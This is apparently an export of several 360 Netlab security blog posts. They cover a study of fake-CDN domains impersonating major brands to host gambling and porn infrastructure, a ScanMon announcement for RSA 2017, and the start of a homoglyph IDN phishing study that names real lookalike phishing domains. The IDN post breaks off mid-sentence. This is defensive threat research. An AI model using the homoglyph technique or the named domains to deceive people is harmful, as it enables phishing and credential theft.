【历史更新记录】 * 2017-01-10 原始版本 * 2017-01-16 补充了对服务器IP地址同源性的分析，此处分析指向性较弱，仅为完备性考虑 概述 在奇虎网络安全研究院([email protected])，我们建立了一个基于DNS的异常流量监测系统，每天会检出若干异常流量以及对应的域名/IP。通常这些被检出的域名/IP都属于地下产业链条。 但是，我们注意到一些代表知名公司的字符串也出现在这些被检出的域名中，包括360, ali, baidu, cloudflare, dnspod, google和microsoft。通过分析，我们认为这是有人冒用大站名义，为赌博、色情、私服等地下产业提供网络基础设施服务。 这一基础设施结构错综复杂，运营时间长、支撑能力强、实际支撑的黑色灰色站点数以万计，已经构成了一个成熟的地下产业生态系统。 域名和所仿冒的大站品牌 我们检测到的这类域名如下表。 如果只看域名，这些域名看起来非常象是大站提供的CDN服务。但分析可以看出，这些域名实际是某种基础设施，为赌博、色情、私服等地下产业服务。 基于上述域名的错综复杂的网络基础设施 通过passvieDNS，我们能够看到此类域名在DNS的解析记录。除了直接向最终用户提供服务之外，它们还前后CNAME到其他域名，构成复杂的基础设施网络。 这个网络有真实的地下产业用户，部分节点运营时间长、用户访问量大、所承载业务类型明确，成熟支撑着黑色、灰色产业链。 这些仿冒CDN站点和观察到的部分前置/后置站点列表如下： 这些基础设施网络背后的关系错综复杂，例如： * 在上述域名中，yunfangyu1/2/5/7.com 分别出现在仿冒站点的前面和后面，而这一组yunfangyu1/2/5/7.com 共享了相同的whois注册信息； * cdn88.net 和 cdn11/22/33.net （未出现在表中）的whois信息注册邮箱地址是[email protected]， 而这个microsoftcdn.com则是这个网络的一个节点。 * 整个基础设施还在持续的更新，其中google-yun.com，google-cdn-all.com注册于本文写作（2017.01.03）之前的一周内。 对该基础设施网络及其用户的评价 我们基于这些域名从PassiveDNS中提取相关的记录，汇总得到如下数据，并从域名的稳定性、子域名多样性和访问量，来评价该网络。 ![] * 稳定性方面，从上述表格可以看出，除了googlecdn.win和microsoftcdn.com分别在2016-02-06和2016-08-03停止活跃之外，其他的域名都持续活跃到写本文的时间，并且我们认为它会继续活跃下去。应该说整个规模的活跃时间还是非常稳定的。值得一提的是前文述及 [email protected] 注册了 cdn88.net，改头换面后在上述网络中持续活跃。 * 子域名多样性方面，整体来看，子域名并不多，最多的alicdn-kr.com也仅有284个子域名。这一特点显著区别与正规的CDN服务器。 * DNS访问数量方面，各域名之间偏差较大。最繁忙的alicdn-kr.com的访问总次数达到了十三亿次，这是一个巨大的数字。为了更好的理解这个数字，我们使用tv.cctv.com （央视网）作为基准做对比，如下图，黑色的线是alicdn-kr.com，蓝色的线是tv.cctv.com，可以看出alicdn-kr.com的DNS请求量大约是tv.cctv.com的两倍。 另外，观察每日业务高峰点，alicdn-kr.com每日的峰值大约是每晚的23点到0点。这个时间点与其所承载的业务类型（赌博、色情站点在凌晨更为活跃）也是比较吻合的。 如前所述，该网络的主体用户是赌博、色情、私服网站。整个网络的用户群非常庞大，一些数字： * 用户包括 24033 个域名 * 及其下属的53699个子域名 * 最早的用户是 vip1000.cdn88.net, 始于 2015-11-22 * 单一最大用户是 7966.ym009.com, 累积DNS访问次数 93,192,746 IP基础设施 对这些域名的解析IP，考察其国家分布，主要分布于美国，香港，中国及印度。其中，分布于美国，香港和我们之前看到的滥用泛解析构建站群（DWA）的业务分布很类似。在国内的IP主要集中在数据中心，而往往这些数据中心都宣称提供所谓高防服务。基于这些数据中心，多少能够获得一定的抗DDoS能力。 这些IP的AS分布相比于地域分布来说较为分散。具体分布如下图所示： 值得注意的是，在排名靠前的 AS8075 Microsoft Corporation以及AS45090 Shenzhen Tencent Computer Systems Company Limited 分别属于微软公司以及腾讯公司。 使用这两个AS的域名主要是googleyuncdn.com以及microsoftcloudcdn.com。这两个域名还在不同的时间段分别使用了AS58593 Microsoft (China) Co., Ltd，AS15169 Google Inc以及AS45102 Alibaba (China) Technology Co., Ltd等多个大公司的服务。 如果没有仔细分析，乍眼一看，microsoftcloudcdn.com使用Microsoft的AS看起来是不是很和谐？然而它们的确属于不同组织，并且业务范围一个阳光道一个独木桥。非常有意思的一个现象。 背后的团队 从这些域名的whois信息来看，它们应该分属若干个团伙。 上图中，有相同着色单元格表明是同一组人注册的域名，无法判定归属的域名未着色。考虑到前面提到的该网络的复杂性，也许上表中的若干小团伙能够归结到一个大的团伙。 注册时间最早的microsoftcdn.com可以追溯到2015年5月4日，最晚的google-cdn-all.com则注册于2016年12月29日。从域名注册的有效期来看，多数域名注册的有效期都是一年，但是cdn-cloudflare.com与jiasucdn360.com则分别为5年和7年。看的出来，这些人是准备把这项工作长期做下去。 在上述21个域名中，使用隐私保护的域名有5个。利用360netlab的whoisdb数据库（更多的数据请参见附录1），我们对未采取隐私保护的注册人进行反查，基本排除专注域名买卖生意“米农”的可能性，并且注意到不同的注册者往往专注于各自细分的业务领域： * 比如“good good”，“jie ke”注册了大量的赌博业务域名 * 而“qiu yang”则专注于注册色情业务域名。 * 还有一些专门注册此类服务站点的，比如“Jack Tom”，“google-cdn”等。除前文提到借用大站名义的域名外，还有一些域名有很强标识性，比如“高防”，“防DDoS”，“防CC”等。 2017年1月16日更新： 文章原始版本发布后，有读者提及希望能分析这些服务器的IP地址共享情况。出于完备性考虑，我们补充了以下部分，具体情况如下图所示，有以下结论： * 大多数的域名服务器的IP地址不多、重叠度也较小，本环节的结论指向性较弱，只能作为已有强证据的辅助增强，不能独立构成指向性的结论； * 有两组域名（cdn-baidu-google.com: cdm-google-baidu.com, googleyuncdn.com: microsoftcloudcdn.com）重叠度在25%左右的。其中第一组域名分析结果增强了whois数据中对应域名同源的判定；第二组则由于googleyuncdn.com使用了隐私保护，没有将其与microsoftcloudcdn.com归为一组。 结语 在中国特色下，赌博、色情等业务的专门站点使用抗D服务甚至是黑灰产专用的网络基础设施并不罕见。但是包含“大站”字符串的域名则比较让人感兴趣。 本文对这些包含“大站”字符串的域名从whois信息，PassiveDNS中的活跃时间，使用IP等角度对其进行了分析。能够得到几个比较明确的结论： 1. 这些域名提供的服务稳定性较好，它们基本都能够较长时间的比较稳定的服务。这一点也与钓鱼类型的域名完全不同。 2. 由于要提供比较稳定的服务，所以它们使用的基础设施也更为正规和稳定，这也不难解释为什么它们会使用大公司的IP地址。 3. 排除这些域名用于钓鱼的可能性； 4. 排除这些域名来自专门做域名生意的米农（域名贩子）的可能性。推测很可能是灰色业务自建网络，或者其他专门为灰色业务提供服务的供应商。 希望通过本文，能够对灰色业务及其基础设施有一个新角度的认识。对于这些以“大站”的名义为灰色业务提供基础服务的域名我们会持续跟踪，观察其后续发展情况。 附录 部分仿冒大站CDN的域名whois关联域名列表

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"\n【历史更新记录】\n\n - 2017-01-10 原始版本\n - 2017-01-16 补充了对服务器IP地址同源性的分析，此处分析指向性较弱，仅为完备性考虑\n\n###概述\n在奇虎网络安全研究院([email protected])，我们建立了一个基于DNS的异常流量监测系统，每天会检出若干异常流量以及对应的域名/IP。通常这些被检出的域名/IP都属于地下产业链条。\n\n但是，我们注意到一些代表知名公司的字符串也出现在这些被检出的域名中，包括360, ali, baidu, cloudflare, dnspod, google和microsoft。通过分析，我们认为这是有人冒用大站名义，为赌博、色情、私服等地下产业提供网络基础设施服务。\n\n这一基础设施结构错综复杂，运营时间长、支撑能力强、实际支撑的黑色灰色站点数以万计，已经构成了一个成熟的地下产业生态系统。\n\n###域名和所仿冒的大站品牌\n我们检测到的这类域名如下表。\n\n如果只看域名，这些域名看起来非常象是大站提供的CDN服务。但分析可以看出，这些域名实际是某种基础设施，为赌博、色情、私服等地下产业服务。\n\n\t \n\n###基于上述域名的错综复杂的网络基础设施\n通过passvieDNS，我们能够看到此类域名在DNS的解析记录。除了直接向最终用户提供服务之外，它们还前后CNAME到其他域名，构成复杂的基础设施网络。\n这个网络有真实的地下产业用户，部分节点运营时间长、用户访问量大、所承载业务类型明确，成熟支撑着黑色、灰色产业链。\n\n这些仿冒CDN站点和观察到的部分前置/后置站点列表如下：\n\n\n这些基础设施网络背后的关系错综复杂，例如：\n\n - 在上述域名中，yunfangyu1/2/5/7.com 分别出现在仿冒站点的前面和后面，而这一组yunfangyu1/2/5/7.com 共享了相同的whois注册信息；\n - cdn88.net 和 cdn11/22/33.net （未出现在表中）的whois信息注册邮箱地址是[email protected]， 而这个microsoftcdn.com则是这个网络的一个节点。\n - 整个基础设施还在持续的更新，其中google-yun.com，google-cdn-all.com注册于本文写作（2017.01.03）之前的一周内。\n\n\n###对该基础设施网络及其用户的评价\n我们基于这些域名从PassiveDNS中提取相关的记录，汇总得到如下数据，并从域名的稳定性、子域名多样性和访问量，来评价该网络。\n\n![]\n\n\n - 稳定性方面，从上述表格可以看出，除了googlecdn.win和microsoftcdn.com分别在2016-02-06和2016-08-03停止活跃之外，其他的域名都持续活跃到写本文的时间，并且我们认为它会继续活跃下去。应该说整个规模的活跃时间还是非常稳定的。值得一提的是前文述及 [email protected] 注册了 cdn88.net，改头换面后在上述网络中持续活跃。\n - 子域名多样性方面，整体来看，子域名并不多，最多的alicdn-kr.com也仅有284个子域名。这一特点显著区别与正规的CDN服务器。\n - DNS访问数量方面，各域名之间偏差较大。最繁忙的alicdn-kr.com的访问总次数达到了十三亿次，这是一个巨大的数字。为了更好的理解这个数字，我们使用tv.cctv.com （央视网）作为基准做对比，如下图，黑色的线是alicdn-kr.com，蓝色的线是tv.cctv.com，可以看出alicdn-kr.com的DNS请求量大约是tv.cctv.com的两倍。\n\n\n \n另外，观察每日业务高峰点，alicdn-kr.com每日的峰值大约是每晚的23点到0点。这个时间点与其所承载的业务类型（赌博、色情站点在凌晨更为活跃）也是比较吻合的。\n\n如前所述，该网络的主体用户是赌博、色情、私服网站。整个网络的用户群非常庞大，一些数字：\n\n - 用户包括 24033 个域名\n - 及其下属的53699个子域名\n - 最早的用户是 vip1000.cdn88.net, 始于 2015-11-22\n - 单一最大用户是 7966.ym009.com, 累积DNS访问次数 93,192,746 \n\n\n###IP基础设施\n对这些域名的解析IP，考察其国家分布，主要分布于美国，香港，中国及印度。其中，分布于美国，香港和我们之前看到的滥用泛解析构建站群（DWA）的业务分布很类似。在国内的IP主要集中在数据中心，而往往这些数据中心都宣称提供所谓高防服务。基于这些数据中心，多少能够获得一定的抗DDoS能力。\n\n\n \n\n这些IP的AS分布相比于地域分布来说较为分散。具体分布如下图所示：\n\n \n值得注意的是，在排名靠前的 AS8075 Microsoft Corporation以及AS45090 Shenzhen Tencent Computer Systems Company Limited 分别属于微软公司以及腾讯公司。\n使用这两个AS的域名主要是googleyuncdn.com以及microsoftcloudcdn.com。这两个域名还在不同的时间段分别使用了AS58593 Microsoft (China) Co., Ltd，AS15169 Google Inc以及AS45102 Alibaba (China) Technology Co., Ltd等多个大公司的服务。\n\n如果没有仔细分析，乍眼一看，microsoftcloudcdn.com使用Microsoft的AS看起来是不是很和谐？然而它们的确属于不同组织，并且业务范围一个阳光道一个独木桥。非常有意思的一个现象。\n\n###背后的团队\n从这些域名的whois信息来看，它们应该分属若干个团伙。\n\n\n上图中，有相同着色单元格表明是同一组人注册的域名，无法判定归属的域名未着色。考虑到前面提到的该网络的复杂性，也许上表中的若干小团伙能够归结到一个大的团伙。\n\n注册时间最早的microsoftcdn.com可以追溯到2015年5月4日，最晚的google-cdn-all.com则注册于2016年12月29日。从域名注册的有效期来看，多数域名注册的有效期都是一年，但是cdn-cloudflare.com与jiasucdn360.com则分别为5年和7年。看的出来，这些人是准备把这项工作长期做下去。\n\n在上述21个域名中，使用隐私保护的域名有5个。利用360netlab的whoisdb数据库（更多的数据请参见附录1），我们对未采取隐私保护的注册人进行反查，基本排除专注域名买卖生意“米农”的可能性，并且注意到不同的注册者往往专注于各自细分的业务领域：\n\n - 比如“good good”，“jie ke”注册了大量的赌博业务域名\n - 而“qiu yang”则专注于注册色情业务域名。\n - 还有一些专门注册此类服务站点的，比如“Jack Tom”，“google-cdn”等。除前文提到借用大站名义的域名外，还有一些域名有很强标识性，比如“高防”，“防DDoS”，“防CC”等。\n\n2017年1月16日更新：\n文章原始版本发布后，有读者提及希望能分析这些服务器的IP地址共享情况。出于完备性考虑，我们补充了以下部分，具体情况如下图所示，有以下结论：\n\n - 大多数的域名服务器的IP地址不多、重叠度也较小，本环节的结论指向性较弱，只能作为已有强证据的辅助增强，不能独立构成指向性的结论；\n - 有两组域名（cdn-baidu-google.com: cdm-google-baidu.com, googleyuncdn.com: microsoftcloudcdn.com）重叠度在25%左右的。其中第一组域名分析结果增强了whois数据中对应域名同源的判定；第二组则由于googleyuncdn.com使用了隐私保护，没有将其与microsoftcloudcdn.com归为一组。\n\n\n\n\n###结语\n\n在中国特色下，赌博、色情等业务的专门站点使用抗D服务甚至是黑灰产专用的网络基础设施并不罕见。但是包含“大站”字符串的域名则比较让人感兴趣。\n本文对这些包含“大站”字符串的域名从whois信息，PassiveDNS中的活跃时间，使用IP等角度对其进行了分析。能够得到几个比较明确的结论：\n\n 1. 这些域名提供的服务稳定性较好，它们基本都能够较长时间的比较稳定的服务。这一点也与钓鱼类型的域名完全不同。\n 2. 由于要提供比较稳定的服务，所以它们使用的基础设施也更为正规和稳定，这也不难解释为什么它们会使用大公司的IP地址。\n 3. 排除这些域名用于钓鱼的可能性；\n 4. 排除这些域名来自专门做域名生意的米农（域名贩子）的可能性。推测很可能是灰色业务自建网络，或者其他专门为灰色业务提供服务的供应商。\n\n希望通过本文，能够对灰色业务及其基础设施有一个新角度的认识。对于这些以“大站”的名义为灰色业务提供基础服务的域名我们会持续跟踪，观察其后续发展情况。\n\n###附录 部分仿冒大站CDN的域名whois关联域名列表\n\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

40

post

2017-02-04T04:06:50.000Z

63873b9a8b1c1e0007f52ef2

netlab-scanmon-at-rsa-conference-2017-cn

2018-10-06T08:58:49.000Z

public

published

2017-02-04T07:31:52.000Z

RSA大会 '2017上的ScanMon

<!--kg-card-begin: markdown--><p><a href="https://www.rsaconference.com/events/us17"><code>RSA大会 '2017</code></a> 即将在2月13日至17日期间在美国旧金山Moscone中心举办。在今年的这次大会上，<a href="http://netlab.360.com"><code>我们</code></a>向全世界安全社区推出我们的 <a href="http://scan.netlab.360.com"><code>ScanMon</code></a> 系统。</p> <p>网络扫描是互联网上一种流行的威胁，经常被攻击者用来发现网络空间里存活的主机或者服务，并随后可能被用来定位潜在的受害者。扫描行为通常发生在恶意攻击行为的早期，所以如果能及早发现扫描行为会对抵御对应的攻击有显著改善。</p> <p>360网络安全研究院的 ScanMon 系统提供全球范围内实时和历史扫描行为的监控和分析。ScanMon 通过分析大量多样的网络数据，包括但不限于网络流、蜜罐等等，来精确有效的检测扫描行为。对已检出的扫描事件，ScanMon 会展示扫描行为的关键信息和统计数据，例如扫描源IP、受害者端口、扫描数量、分布、扫描源之间的伴生关系，等等。基于这些信息，使用者可以第一时间感知网络扫描行为，并方便有效的识别对应的攻击者。例如，近期360网络安全研究院在针对 mirai 僵尸网络出现、发展、新变种的持续跟踪中，就大量借助了 ScanMon 的能力。</p> <p>您可以在<a href="https://youtu.be/q3MD14WbOCU"><code>这里</code></a>观看在线视频（记得调到1080P），也可以试用我们的<a href="http://scan.netlab.360.com/"><code>在线系统</code></a>。</p> <p>该系统免费开放，希望能帮助到安全社区。我们也欢迎任何人提供有用的反馈，或者向我们贡献数据以增强系统数据来源的多样性。</p> <p>另外，今年我们还会在<a href="http://360.com"><code>360</code></a>展台有一个简短的<a href="__GHOST_URL__/tag/mirai/"><code>mirai僵尸网络</code></a>相关演讲。如果您恰好有兴趣，欢迎来参加。时间和地点，2月14日下午14：30～15：00，#S745。</p> <!--kg-card-end: markdown-->

RSA大会 '2017 即将在2月13日至17日期间在美国旧金山Moscone中心举办。在今年的这次大会上，我们向全世界安全社区推出我们的 ScanMon 系统。 网络扫描是互联网上一种流行的威胁，经常被攻击者用来发现网络空间里存活的主机或者服务，并随后可能被用来定位潜在的受害者。扫描行为通常发生在恶意攻击行为的早期，所以如果能及早发现扫描行为会对抵御对应的攻击有显著改善。 360网络安全研究院的 ScanMon 系统提供全球范围内实时和历史扫描行为的监控和分析。ScanMon 通过分析大量多样的网络数据，包括但不限于网络流、蜜罐等等，来精确有效的检测扫描行为。对已检出的扫描事件，ScanMon 会展示扫描行为的关键信息和统计数据，例如扫描源IP、受害者端口、扫描数量、分布、扫描源之间的伴生关系，等等。基于这些信息，使用者可以第一时间感知网络扫描行为，并方便有效的识别对应的攻击者。例如，近期360网络安全研究院在针对 mirai 僵尸网络出现、发展、新变种的持续跟踪中，就大量借助了 ScanMon 的能力。 您可以在这里观看在线视频（记得调到1080P），也可以试用我们的在线系统。 该系统免费开放，希望能帮助到安全社区。我们也欢迎任何人提供有用的反馈，或者向我们贡献数据以增强系统数据来源的多样性。 另外，今年我们还会在360展台有一个简短的mirai僵尸网络相关演讲。如果您恰好有兴趣，欢迎来参加。时间和地点，2月14日下午14：30～15：00，#S745。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"[`RSA大会 '2017`](https://www.rsaconference.com/events/us17) 即将在2月13日至17日期间在美国旧金山Moscone中心举办。在今年的这次大会上，[`我们`](http://netlab.360.com)向全世界安全社区推出我们的 [`ScanMon`](http://scan.netlab.360.com) 系统。\n\n网络扫描是互联网上一种流行的威胁，经常被攻击者用来发现网络空间里存活的主机或者服务，并随后可能被用来定位潜在的受害者。扫描行为通常发生在恶意攻击行为的早期，所以如果能及早发现扫描行为会对抵御对应的攻击有显著改善。\n\n360网络安全研究院的 ScanMon 系统提供全球范围内实时和历史扫描行为的监控和分析。ScanMon 通过分析大量多样的网络数据，包括但不限于网络流、蜜罐等等，来精确有效的检测扫描行为。对已检出的扫描事件，ScanMon 会展示扫描行为的关键信息和统计数据，例如扫描源IP、受害者端口、扫描数量、分布、扫描源之间的伴生关系，等等。基于这些信息，使用者可以第一时间感知网络扫描行为，并方便有效的识别对应的攻击者。例如，近期360网络安全研究院在针对 mirai 僵尸网络出现、发展、新变种的持续跟踪中，就大量借助了 ScanMon 的能力。\n\n您可以在[`这里`](https://youtu.be/q3MD14WbOCU)观看在线视频（记得调到1080P），也可以试用我们的[`在线系统`](http://scan.netlab.360.com/)。\n\n该系统免费开放，希望能帮助到安全社区。我们也欢迎任何人提供有用的反馈，或者向我们贡献数据以增强系统数据来源的多样性。\n\n另外，今年我们还会在[`360`](http://360.com)展台有一个简短的[`mirai僵尸网络`](__GHOST_URL__/tag/mirai/)相关演讲。如果您恰好有兴趣，欢迎来参加。时间和地点，2月14日下午14：30～15：00，#S745。"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

41

post

2017-02-04T07:53:41.000Z

63873b9a8b1c1e0007f52ef3

netlab-scanmon-at-rsa-conference-2017-en

2018-10-06T08:59:03.000Z

public

published

2017-02-04T08:15:59.000Z

Netlab‘s ScanMon at RSA Conference 2017

<!--kg-card-begin: markdown--><p><a href="https://www.rsaconference.com/events/us17"><code>The RSA Conference 2017</code></a> will be held during Feb 13 - 17 at Moscone Center, San Francisco. This year in the conference, <a href="http://netlab.360.com"><code>we</code></a> will introduce our <a href="http://scan.netlab.360.com"><code>Network ScanMon system</code></a> to global security community.</p> <p>Network scanning is a prevalent threat in the Internet. It can discover active hosts or services in cyberspace, thus often be used by attackers to locate potential victims. Scanning activities usually appear at the initial stage of malicious attacks, so it would be helpful to fight against those attacks if we can detect scanning behaviors earlier.</p> <p>Qihoo 360 Network ScanMon system is a platform that provides both realtime and historical overviews of network scanning activities all over the world. ScanMon detects scanning behaviors effectively and accurately by analyzing large amounts of various network data, including but not limited to Netflow, Honeypot, etc. For those detected scanning events, ScanMon will intuitively show their key information and as well as useful statistics, such as scanner SrcIP, victim DstPort, scanning volume, distribution and correlation of scanners, etc. With these information, users are able to perceive network scannings in the first time and identify the corresponding attackers quickly and conveniently. As an example, 360 Netlab recently used ScanMon to help to monitor the emergence of Mirai Botnet and investigate the evolution of its scanning behavior. You can watch the <a href="https://youtu.be/q3MD14WbOCU"><code>online video</code></a> (remember to choose HD 1080p), or check out the <a href="http://scan.netlab.360.com/"><code>live system</code></a>.</p> <p>The system is free and open to security community. We hope it will help and also we will appreciate anyone giving useful feedbacks or willing to contribute more network data to improve the system.</p> <p>Also, this year we will give a talk on <a href="__GHOST_URL__/tag/mirai/"><code>mirai botnet</code></a> at <a href="http://www.360totalsecurity.com"><code>360 totoal security</code></a> booth. Feel free to stop by and chat with us on Feb 14 14:30 - 15:00, #S745.</p> <!--kg-card-end: markdown-->

The RSA Conference 2017 will be held during Feb 13 - 17 at Moscone Center, San Francisco. This year in the conference, we will introduce our Network ScanMon system to global security community. Network scanning is a prevalent threat in the Internet. It can discover active hosts or services in cyberspace, thus often be used by attackers to locate potential victims. Scanning activities usually appear at the initial stage of malicious attacks, so it would be helpful to fight against those attacks if we can detect scanning behaviors earlier. Qihoo 360 Network ScanMon system is a platform that provides both realtime and historical overviews of network scanning activities all over the world. ScanMon detects scanning behaviors effectively and accurately by analyzing large amounts of various network data, including but not limited to Netflow, Honeypot, etc. For those detected scanning events, ScanMon will intuitively show their key information and as well as useful statistics, such as scanner SrcIP, victim DstPort, scanning volume, distribution and correlation of scanners, etc. With these information, users are able to perceive network scannings in the first time and identify the corresponding attackers quickly and conveniently. As an example, 360 Netlab recently used ScanMon to help to monitor the emergence of Mirai Botnet and investigate the evolution of its scanning behavior. You can watch the online video (remember to choose HD 1080p), or check out the live system. The system is free and open to security community. We hope it will help and also we will appreciate anyone giving useful feedbacks or willing to contribute more network data to improve the system. Also, this year we will give a talk on mirai botnet at 360 totoal security booth. Feel free to stop by and chat with us on Feb 14 14:30 - 15:00, #S745.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"[`The RSA Conference 2017`](https://www.rsaconference.com/events/us17) will be held during Feb 13 - 17 at Moscone Center, San Francisco. This year in the conference, [`we`](http://netlab.360.com) will introduce our [`Network ScanMon system`](http://scan.netlab.360.com) to global security community.\n\nNetwork scanning is a prevalent threat in the Internet. It can discover active hosts or services in cyberspace, thus often be used by attackers to locate potential victims. Scanning activities usually appear at the initial stage of malicious attacks, so it would be helpful to fight against those attacks if we can detect scanning behaviors earlier.\n\nQihoo 360 Network ScanMon system is a platform that provides both realtime and historical overviews of network scanning activities all over the world. ScanMon detects scanning behaviors effectively and accurately by analyzing large amounts of various network data, including but not limited to Netflow, Honeypot, etc. For those detected scanning events, ScanMon will intuitively show their key information and as well as useful statistics, such as scanner SrcIP, victim DstPort, scanning volume, distribution and correlation of scanners, etc. With these information, users are able to perceive network scannings in the first time and identify the corresponding attackers quickly and conveniently. As an example, 360 Netlab recently used ScanMon to help to monitor the emergence of Mirai Botnet and investigate the evolution of its scanning behavior. You can watch the [`online video`](https://youtu.be/q3MD14WbOCU) (remember to choose HD 1080p), or check out the [`live system`](http://scan.netlab.360.com/).\n\nThe system is free and open to security community. We hope it will help and also we will appreciate anyone giving useful feedbacks or willing to contribute more network data to improve the system.\n\nAlso, this year we will give a talk on [`mirai botnet`](__GHOST_URL__/tag/mirai/) at [`360 totoal security`](http://www.360totalsecurity.com) booth. Feel free to stop by and chat with us on Feb 14 14:30 - 15:00, #S745. "}]],"sections":[[10,0]],"ghostVersion":"3.0"}

42

post

2017-04-22T06:25:57.000Z

63873b9a8b1c1e0007f52ef4

idn_measurement_netlab

2018-10-06T09:01:10.000Z

public

published

2017-04-22T06:25:00.000Z

我们也来聊聊IDN

<!--kg-card-begin: markdown--><h3 id="introduction">Introduction###</h3> <p>  文中首先对IDN的历史和研究进行了回顾，并从近日有关IDN的博客入手，利用DNS派的流量数据，使用轻量级的方法，对目前网络中的“形近异义”的IDN域名进行了测量研究，并对IDN域名目前在网络中的用途进行分析。研究发现，1）Alexa Top10K 域名中至少有83个域名的形近异义IDN域名在活跃，即相关的知名网站受到这种潜在的钓鱼攻击影响；2）我们发现了一起真实的利用IDN域名对Facebook进行钓鱼攻击的案例（www.xn--facebok-i01c.com）。网络安全研究院会持续跟进这项测量研究，希望借此提醒有关厂商，注意提高与其相关的IDN域名品牌保护意识。</p> <h3 id="background">Background###</h3> <p><strong>1. IDN</strong><br>   国际域名（Internationalized domain name, IDN）[1]，最早在1996年由Martin Durst提出并在1998年由Tan Juay kwang等人进行实现，是指在域名中包含至少一个特殊语言字母的域名，特殊语言包括中文、法文、拉丁文等。在DNS系统工作中，这种域名会被编码成ASCII字符串，并通过Punycode进行翻译。<br>   2008年，IETF成立了一个IDN工作组开始讨论更新IDNA的协议，并在2009年，ICANN （Internet Corporation for Assigned Names and Numbers）为了方便更多的native language用户使用互联网，批准在DNS体系中加入 IDN ccTLDs (internationalized country code top-level domains)。最终，于2010年，第一个IDN ccTLD被添加到DNS root zone 中。</p> <p><strong>2. Recent Reports</strong><br>   最近有两个博客引起了大家的关注，在此我们先对两个博客的内容进行简单回顾。<br>   第一篇博客《一种几乎无法被检测的钓鱼攻击》[2]， 文中作者使用了IDN域名，使得用户点击URL后，浏览器地址栏显示的两个www.apple.com字符串几乎让用户无法区分，因此博客作者认为攻击这种钓鱼攻击几乎无法检测。 不过，我们在重现这一操作时，发现地址栏显示的内容（证书方面）是和用户的浏览器以及操作系统相关。（Trick Here：chrome所使用的字体在这个过程中也起到了一定的帮助作用。）<br> <img src="__GHOST_URL__/content/images/2017/04/phishing.png" alt="" loading="lazy">Source:thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html</p> <p>  第二篇博客《我好像进了一个假的alipay.com》[3]则更加直接，直接举了一个对支付宝网站进行钓鱼的例子: www.xn--80aa1cn6g67a.com。 当然，文章最后作者说明这个是腾讯的员工在恶搞阿里，但是也足以说明，这种钓鱼确实是可能存在的。(4月21日 EST，该网站已无法访问)。<br> <img src="__GHOST_URL__/content/images/2017/04/Picture5.png" alt="" loading="lazy">Source:微信公众号 黑鸟</p> <p><strong>3. Previous Study</strong><br>   我们提到，IDN域名从2010年就开始被加入DNS Root Zone中了，相关的研究也都迅速展开。在此同样我们也选取两个文章回顾一下以前的研究内容。<br>   第一篇文章《Out of Character: Use of Punycode and Homoglyph Attacks to Obfuscate URLs for Phishing Adrian Crenshaw》[4]（发表于2012年），YouTube演讲视频见[5]。 这篇文章研究了三种主流浏览器是如何显示IDN字符，并且研究了不同语言字符之间的混淆。作者还提供了一个工具Homoglyph Attack Generator 用于生成可能有问题的编码字符串。也就是说，从这里开始，已有研究者表明利用（abuse）IDN域名在浏览器中的显示问题，通过选择与知名网站“形近”的IDN域名是可以实现钓鱼攻击的。<br>   第二篇是由赛门铁克公司发布的一篇博客，《Bad Guys Using Internationalized Domain Names (IDNs)》[6]（发表于2014年)。这篇文章列出了大量真实IDN域名案例，主要阐述了IDN已经开始被滥用，以及被滥用的几个方面，包括恶意软件，僵尸网络等。 在文章的结尾，文章作者也预期IDN域名会迅速增长，并对品牌保护带来严重的负面影响。在这篇文章中作者对网络中大量真实IDN case的分析，但很遗憾没有做一个全面的测量。</p> <h3 id="dataset">Data Set###</h3> <p><strong>1. Passive DNS</strong><br>   360 netlab的拥有国内最大的公开Passive DNS数据库。基于此数据库可以方便的导出所有的IDN域名。目前相关数据也开始向可信单位及个人提供查询接口，具体申请流程请见[7]。本次实验数据取自近一周还在活跃的IDN域名。</p> <p><strong>2. Alexa Ranking</strong><br>   文中提到的所有知名域名从Alexa Ranking Top 10K [8]的域名中选取。</p> <h3 id="approach">Approach###</h3> <p><strong>1. Goal</strong><br>   针对目前DNS流量中，与知名网站“形近异义”的IDN域名进行测量研究。重点研究，此类IDN域名的数量及访问规模，受到潜在钓鱼影响的知名网站数量及类型，以及目前此类IDN域名在进行什么业务。 后续我们会补充IP地址关联性分析。</p> <p><strong>2. Idea</strong><br>   目前近一周时间内，还在活跃的IDN域名超过一百万，因此网络爬虫、网页分析等常见检测手法在这里都不太适用。我们需要一个非常高效的算法检测他们是否与热门网站域名“形近异义”。我们算法的出发点便落在了“形近”上面。<br>   如下图所示，这个针对apple进行钓鱼的域名解码之后的字符串与原始字符串十分相近，换句话说，如果把这两个字符串保存成图片，那么这两个图片的相似度会非常高。从这一点出发，我们将Alexa Top10K的域名（SLD与“www.”+SLD ）的字符串分别保存为一个图片，建立一个图片库（共计两万张），并将100W+的IDN域名解码之后也分别保存为图片，并与图片库中进行对比，寻找相似图片。<br> <img src="__GHOST_URL__/content/images/2017/04/Picture2.png" alt="" loading="lazy"> Fig1：与apple.com形近异义的一个IDN域名</p> <p><strong>3. Tool</strong><br>    在上述idea中涉及到两个部分，1）如何快速提取一个图片的特征[9]；2）如何快速找出相近图片[10]。 在图像识别领域，这些都是已经解决并且非常成熟的问题，具体实现原理请详见参考文献，我们不再赘述。</p> <h3 id="resultsandfindings">Results and Findings###</h3> <p><strong>1. Overview</strong></p> <p>   <strong>受影响的网站分析</strong><br>   通过分析我们发现，在Alexa Top 10K域名中已经有<strong>83</strong>个知名域名已经受到形近异义IDN域名的影响。分析数据并不包含已经被注册但是并未被使用的IDN域名数量，因此实际上受到影响网站会更多。这些网站涉及到多个国家，包括：美国，中国，加拿大，印度，韩国等国。已经有证据显示近日此类形近异义的IDN域名在明显增长。<br>   相关受到影响的域名详见链接[11]。其中部分网站的类形分析如下， 可以看到，除了搜索引擎，购物网站外，大量企业的域名也受到影响，甚至多个色情网站也受到这种IDN域名的影响。值得一提的是，两个知名的支付网站也存在形近异义类形的IDN域名。</p> <p>Table 1: 受影响的知名网站类型分布<br> <img src="__GHOST_URL__/content/images/2017/04/WechatIMG195.jpeg" alt="" loading="lazy"></p> <p>   <strong>Ranking分析</strong><br>   我们同时也对这些域名的Alexa 